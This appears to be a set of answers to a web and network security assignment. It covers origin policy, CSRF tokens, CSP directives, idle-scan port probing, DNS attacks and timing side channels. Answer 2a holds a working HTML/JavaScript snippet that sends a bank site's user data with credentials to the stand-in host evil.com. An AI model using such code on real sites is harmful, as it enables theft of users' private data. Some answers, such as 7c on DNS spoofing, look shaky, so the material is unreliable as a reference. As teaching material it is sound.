1.
If the definition of origin does not contain port and protocol, then an attacker will have a chance to get information of other ports from the public port. For instance, the administrator of a website uses a private port to manage the server. The attacker can use stored XSS to inject some malicious script into the website from the public port 80. When the administrator views the injected webpage, the malicious script will be executed and access the private port and send some private information to the attacker.

2a.

```
<!DOCTYPE html>
<html>
<body>
<script>
function displayData(data) {
        const req = new XMLHttpRequest();
        req.withCredentials=true;
        req.open('POST', 'https://evil.com/steal_data');
        req.setRequestHeader('Content-Type', 'application/json');
        req.send(JSON.stringify(data));
}
</script>
<script src="//bank.com/userdata.js"> </script>
</body>
</html>
```

2b.
We can define the displayData function inside userdata.js which will overwrite the function defined in evil.com

3a. The attacker can embed the image from the web page containing private information into the canvas of its own website. Then the attacker can use GetImageData() to read the private information from its canvas.
3b. GetImageData() should be restricted such that it can only read pixels from images from the same origin.
3c. If GetImageData() reads the actual pixel, then the attacker can use XSS to put a transparent canvas on top of the section containing private information and then use GetImageData() to read the information under the canvas and send it to himself. The protection in 3b does not help because the attacker only needs a transparent canvas without any external images.
3d. Implement GetImageData() to read pixels only from the canvas layer instead of the actual pixel.

4a. For a website only using cookies to authenticate users, the attacker can set up an evil website containing javascript which can send requests to the victim website. Then a logged-in user visiting the evil website will send requests to the victim website with his cookie and will get authenticated.

4b. Given that the attacker does not know the token, the request sent from the evil website will not be accepted because the token parameter does not match.
4c. Yes, this approach can work. Because the desired token is in the response of the last request, the attacker has no chance to view the token due to the SOP.
4d. No, this approach does not work. Because the token is fixed for some period of time, the attacker can send a request by himself and inspect the request token, then the attacker can put the token in his evil website.
4e. Without SOP, based on the mechanism of 4c, the attacker can view the token from the response of the last request.

5a. Only javascript from the same domain can be loaded. This can prevent XSS because no inline script can be executed.
5b. The website does not permit being embedded using <frame>, <iframe>, <object>, <embed>, or <applet>. This can prevent embedding a legit website into the evil website so that clickjacking attack is not possible.
5c. This derivative applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy. So the page cannot read cookies of www.xyz.com due to SOP. A website wants to use this setting if it does not want its users' cookies to be stolen.

6a. You can send an IP packet from A to P. And send a second packet one minute later. If the global identification field of the two responses are adjacent, we can infer that P hasn't sent packets to other hosts during this one minute window. Otherwise, P must have sent packets to others.
6b. The attacker can send an SYN packet to port n of P with source IP set to be the IP of P. If port n is open, P will send SYN/ACK and RST to itself consecutively. So the counter will increase by 2. If port n is close, P will send RST to itself so the counter will increase by 1. With ICMP, the attacker can check the counter increment and determine if port n is open.

7a. DNS amplifier DDoS attack
7b. DNS cache poisoning
7c. Yes. If DNS queries are encrypted, the attacker cannot spoof the source IP address.
7d. No. Because DNS rebinding attack only requires the attacker to manipulate the records in his DNS server.

8a. Brute-force the password character one by one sequentially by measuring the time cost of the function call. The decrement of time cost by 0.1 second implies the correctness of the corresponding character.
8b.

```
void check_passwd(char *enteredPwd, *correctPwd) {
   for(i=0, i < LEN, ++i) {
      if (enteredPwd[i] == correctPwd[i]) {
         sleep(.1);   /* sleep for 0.1 sec */
      } else {
```

```
            sleep(0.1 * (LEN-i));
            return(-1);  /* disallow login */
        }
    }
    return(0); /* allow login */
}
```